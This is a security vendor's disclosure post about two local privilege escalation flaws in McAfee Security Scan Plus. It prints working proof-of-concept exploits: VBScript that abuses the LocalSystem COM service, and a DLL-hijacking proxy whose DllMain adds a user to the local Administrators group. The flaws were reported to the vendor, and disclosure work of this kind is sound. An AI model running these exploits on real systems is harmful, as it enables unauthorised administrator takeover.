Trustwave achieves verified MXDR solution and FastTrack ready partner status from Microsoft. Learn More

Trustwave achieves verified MXDR solution and FastTrack ready partner status from Microsoft. Learn More

Services
Capture
Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

twi-cloud-lock-color-svg
Managed Security Services

Expand your team’s capabilities and strengthen your security posture

twi-briefcase-color-svg
Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

twi-dashboard-color-svg
Penetration Testing

Subscription- or project-based testing, delivered by global experts

twi-database-color-svg
Database Security

Get ahead of database risk, protect data and exceed compliance requirements

twi-email-color-svg
Email Security & Management

Catch email threats others miss with layered security & maximum control

twi-managed-portal-color
Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

Two Privilege Escalation Vulnerabilities in McAfee Security Scan Plus

This post will discuss two separate Local Privilege Escalation vulnerabilities in the McAfee Security Scan Plus product. You've probably seen it coming with Adobe Flash installer for Windows as an add-on. This product installs as a Windows Service running as LocalSystem called McAfee Security Scan Component Host Service. During an audit of this product I found that any unprivileged user on a computer where the McAfee Security Scan Plus is installed could interrogate the service. More specifically, any user can communicate with the service via simple COM component as shown below and start certain programs:

Option Explicit
Dim objHost : Set objHost = CreateObject("McComponentHostService.McCompHost")
Dim objAV : Set objAV = objHost.GetObject("{7822F49B-3B6E-4646-86A9-204D7488A1FD}")
objAV.Configure("C:\Windows\TEMP\McUICnt.exe")
objAV.Scan()
objAV.GetReport()

This VBScript code will start the C:\Windows\TEMP\McUICnt.exe process as LocalSystem even when executed as an unprivileged user. An important thing here is that the path to launch is configurable. The only limitation is that I was unable to start arbitrary processes – there is a check in McAfee code that limits binaries to McAfee-signed ones.

However, since we can manipulate the path to the binary, my next thought was to copy a genuine binary from the product to the %TEMP% directory and see if it will load fake libraries on start up. Sure enough, that's exactly what it did! The next step was creating a wrapper around one of the dlls loaded by the McUICnt.exe – version.dll specifically. Here is the code:

#include 
#include
#pragma comment(linker, "/export:GetFileVersionInfoA=mversion.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=mversion.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExW=mversion.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=mversion.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=mversion.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=mversion.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=mversion.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=mversion.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=mversion.VerFindFileW")
#pragma comment(linker, "/export:VerInstallFileA=mversion.VerInstallFileA")
#pragma comment(linker, "/export:VerInstallFileW=mversion.VerInstallFileW")
#pragma comment(linker, "/export:VerLanguageNameA=kernel32.VerLanguageNameA")
#pragma comment(linker, "/export:VerLanguageNameW=kernel32.VerLanguageNameW")
#pragma comment(linker, "/export:VerQueryValueA=mversion.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=mversion.VerQueryValueW")
BOOL WINAPI DllMain(HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved)
{
system("net localgroup Administrators james /add");
return TRUE;
}

When compiled and placed in %TEMP% directory near the McUICnt.exe, this will grant user "james" local Administrator group membership when chained with the VBScript shown above.

During this research I discovered another vulnerability in the same product that is even simpler to exploit. There is a dedicated method to execute programs as LocalSystem in one of the objects exposed by the application:

Option Explicit
Dim objHost, objX
Set objHost = CreateObject("McComponentHostService.McCompHost")
Set objX = objHost.GetObject("{C4B9CF70-99E3-42A3-ACED-4AE75B2A0EA5}")|
Call objX.RunProgramEx("C:\WINDOWS\system32\net.exe", "localgroup Administrators james /add", vbNull, False, False)

Trustwave SpiderLabs reported both of these vulnerabilities to Intel Security and worked with them on testing the fix. The Trustwave advisory for these vulnerabilities is available here: TWSL2017-002